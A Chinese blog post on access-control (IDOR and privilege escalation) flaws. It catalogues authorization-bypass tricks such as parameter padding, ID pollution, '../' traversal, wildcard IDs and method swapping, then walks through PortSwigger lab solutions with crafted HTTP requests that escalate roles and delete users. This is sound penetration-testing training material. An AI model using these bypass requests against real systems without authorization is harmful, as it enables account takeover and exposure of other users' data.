Featured image of post 权限访问漏洞

权限访问漏洞

权限访问漏洞

数据包常见鉴权字段,一个数据包存在多个鉴权字段,一个一个删除,看哪个鉴权字段起作用,鉴权一般是保证你有这个功能点的权限,越权是不修改鉴权字段,通过修改其它可控参数达到操作其它人或商品信息的功能

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
CookieJESSIONID=abc123123

tokenxxxxxxxxxxxxxx

Authorization头验证
AuthorizationBearer tokens

自定义请求头
x-token
x-api.... 

https://mp.weixin.qq.com/s/PePNxoieRVACoTGyaUiz3g

1.水平越权

  1. 简单参数越权:参数可预测或爆破,小于6位
  2. Cookie越权
  3. 复杂ID越权:参数不可预测,长度大于10位,参数加密,通过其它功能点获取
  4. 不存在参数越权
  5. 非常规越权:如使用优惠卷,满50-7,但是我们想要不满50就想使用优惠卷,此时操作思路就是,将购物车添加到50元以上,看使用优惠卷的数据包和未使用优惠卷的数据包的不同点,将不同点记录下来,放到未满50的数据包下发包看能否下单成功

两者拥有相同权限,通过替换id或唯一值(这个值是可以爆破出来的)达到操作对方权限

id,name,sid这种字段

id,name,sid如果很长怎么获取,通过关注,访问用户主页,点赞尝试获取他人id

国外可以注册两个账号通过替换id实现越权

2.垂直越权

两者权限不同,低权限用户可通过替换一些字段(包括cookie)实现操作高权限用户功能

会员与非会员

管理员与用户

3.越权漏洞常见功能点

  1. 系统能够实现增删改查处—个人中心/订单中心/商品/消息通知
  2. 系统反馈或投诉处

4.越权漏洞Bypass

参数值后面加空格

1
2
uid=1005
uid=1005空格

参数值大小写

1
2
3
uid=1234
uid=1234,
uid=1234,1235

越权参数置空

1
2
uid=1234
uid=

uid后面加json

1
2
uid=1234
uid=1234.json

/等符号进行绕过

1
2
3
/api/6798556007/users     403
/api/6798556007//users    200
/api/6798556007/users/

浮点数越权

1
2
uid=12345
uid=12344.999999

API接口通配符

1
2
3
4
5
6
通配符参数* % . _ ,

~ /api/users/*
~ /api/users/%
~ /api/users/_
~ /api/users/.

利用../绕过校验

通过bypass IDOR实现账户接管获得2500美元赏金

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
比如一个创建用户数据包

POST /<organizationID>/addEmail/<DemoUserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/

{
  "email":"attacker@email.com"
}


POST /<organizationID>/addEmail/<DemoUserID>/../<UserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/

{
  "email":"attacker@email.com"
}

修改个人信息处绕过短信验证实现修改信息

记一次个人信息修改处的小技巧

1
2
很多修改个人信息资料处可能需要获取验证码才能修改
此时修改一个用户名或不需要获取短信即可修改的功能点拼接需要获取短信修改的参数构造发包实现绕过

UserID混淆

1
2
3
/api/v1/message?userId=your_userId&userId=other_userId
/api/v1/message?userId=other_userId&userId=your_userId
/api/v1/message?userId[]=other_userId&userId[]=your_userId

过时API版本替换

1
2
3
/api/v3/user/
/api/v3/user/123
/api/v2/user/123

请求方式替换

1
GET--->POST--->PUT--->DELETE

UUID类越权

场景:假设这是一个获取用户信息的功能点,你想进行越权操作,但是uuid不可能预测和爆破出来

1.先证明它是否存在漏洞,在注册一个账号,两个uuid互换,看是否存在越权漏洞,如果不存在。那就是没漏洞,如果存在,那确实存在漏洞(国内SRC是不收取这种不可预测类的越权,国外可以尝试提交)

2.收集其它用户的uuid

找能与其它用户交互的功能点,评论区/个人主页/个人头像等功能点的接口是否泄露uuid,像很多文件上传头像处的url就是upload/uuid.jpg

将uuid换成*或者1/2这种看看是否存在测试时的用户

1
2
3
4
5
6
7
POST /user/uuid/info http/1.1
HOST:
UserAgent:

POST /user/*/info http/1.1
HOST:
UserAgent:

前置导0越权

1
GET /api/users/009

5.Burp访问控制靶场

5.1.Lab1:未受保护的管理功能

目录扫描出robots.txt,发现存在administrator-panel这个目录,直接访问删除用户即可

5.2.Lab2:具有不可预测的 URL 的未受保护的管理功能

访问靶场,前端泄露管理员后台页面路径

5.3.Lab3:由请求参数控制的用户角色

登录时请求包中Cookie中存在Admin字段,将字段值改为true,访问/admin目录

5.4.Lab4:可以在用户配置文件中修改用户角色

登录后发现只有一个修改邮箱功能点,修改邮箱时添加roleid字段,将值设置为2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
POST /my-account/change-email HTTP/2
Host: 0a6d002704c16cd080a88aee00bb00c1.web-security-academy.net
Cookie: session=iljquQC1WqJnthYfZWbW39RRRQoB1EVh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 22
Origin: https://0a6d002704c16cd080a88aee00bb00c1.web-security-academy.net
Referer: https://0a6d002704c16cd080a88aee00bb00c1.web-security-academy.net/my-account?id=wiener
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{"email":"abc@qq.com",
"roleid":2
}

再次访问/admin端点

5.5.Lab5:由请求参数控制的用户 ID

将id字段由wiener改为carlos用户

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
GET /my-account?id=carlos HTTP/2
Host: 0a8100e504c5d75e80a26336001000ec.web-security-academy.net
Cookie: session=h9cMlj7dRd9jpTQUdzNvIHseVMcncs60
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a8100e504c5d75e80a26336001000ec.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

5.6.Lab6:由请求参数控制的用户ID,用户ID不可预测

现在id变成uuid随机生成的,不可预测,思路就是找用户交互点,如:评论区,点赞,打赏,个人主页看看数据包中是否泄露其它用户的uuid

查看博客,发现作者这栏泄露了用户的uuid

替换uuid实现越权查看他人信息

5.7.Lab7:用户 ID 由请求参数控制,重定向中数据泄露

登录时将id字段改成carlos,302重定向页面泄露敏感信息

5.8.Lab8:由请求参数控制的用户 ID,密码泄露

登录时将id字段改为administrator,发现password字段属性value泄露密码,登录administrator,删除用户

5.9.Lab9:不安全的直接对象引用

发送一条信息,系统自动回复你信息,点击View按钮,发现能将聊天信息给下载下来

查看下载数据包,将2.txt改为1.txt,发现他人的聊天记录,里面包含密码,直接登录即可通过

5.10.Lab10:可以规避基于 URL 的访问控制

直接访问是Access denied

在请求数据包中添加X-Original-Url字段,值为端点路径

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
GET / HTTP/2
Host: 0a2b00ea0486a18083347d7800fb0005.web-security-academy.net
Cookie: session=t1SAmat9QP9jkbIQqdN7eQUqKcjxwnUk
X-Original-Url: /admin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a2b00ea0486a18083347d7800fb0005.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

删除用户

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
GET /?username=carlos HTTP/2
Host: 0a2b00ea0486a18083347d7800fb0005.web-security-academy.net
Cookie: session=t1SAmat9QP9jkbIQqdN7eQUqKcjxwnUk
X-Original-Url: /admin/delete
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a2b00ea0486a18083347d7800fb0005.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

5.11.Lab11:可以规避基于方法的访问控制

使用wiener登录系统,发送数据包即可,原始是post数据包,改成GET即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0aa1000e03fcf1a481987bc000cf00f3.web-security-academy.net
Cookie: session=bYBb4q28ewylPNjvXz9sgPERcol22Kqz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Origin: https://0aa1000e03fcf1a481987bc000cf00f3.web-security-academy.net
Referer: https://0aa1000e03fcf1a481987bc000cf00f3.web-security-academy.net/admin
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

5.12.Lab12:多步骤流程,一步无访问控制

  1. Log in using the admin credentials.
    使用管理员凭据登录。
  2. Browse to the admin panel, promote <font style="color:rgb(92, 92, 91);background-color:rgb(235, 240, 242);">carlos</font>, and send the confirmation HTTP request to Burp Repeater.
    浏览到管理面板,提升 <font style="color:rgb(92, 92, 91);background-color:rgb(235, 240, 242);">carlos</font>,然后向 Burp Repeater 发送确认 HTTP 请求。
  3. Open a private/incognito browser window, and log in with the non-admin credentials.
    打开专用/隐身浏览器窗口,然后使用非管理员凭据登录。
  4. Copy the non-admin user’s session cookie into the existing Repeater request, change the username to yours, and replay it.
    将非管理员用户的会话 cookie 复制到现有的 Repeater 请求中,将用户名更改为您的用户名,然后重播它。

抓取最后一个数据包,将Cookie换成wiener的Cookie,username也换成wiener

5.13.Lab13:基于引用的访问控制

请求包Referer字段需要指定到/admin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0a7d00df043a279480403fc2004f0008.web-security-academy.net
Cookie: session=AALUDlhSVF4sBER8Lj55UDHRJnyyM4Ua
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a7d00df043a279480403fc2004f0008.web-security-academy.net/admin
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

By Lsec
最后更新于 Dec 09, 2025 17:45 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ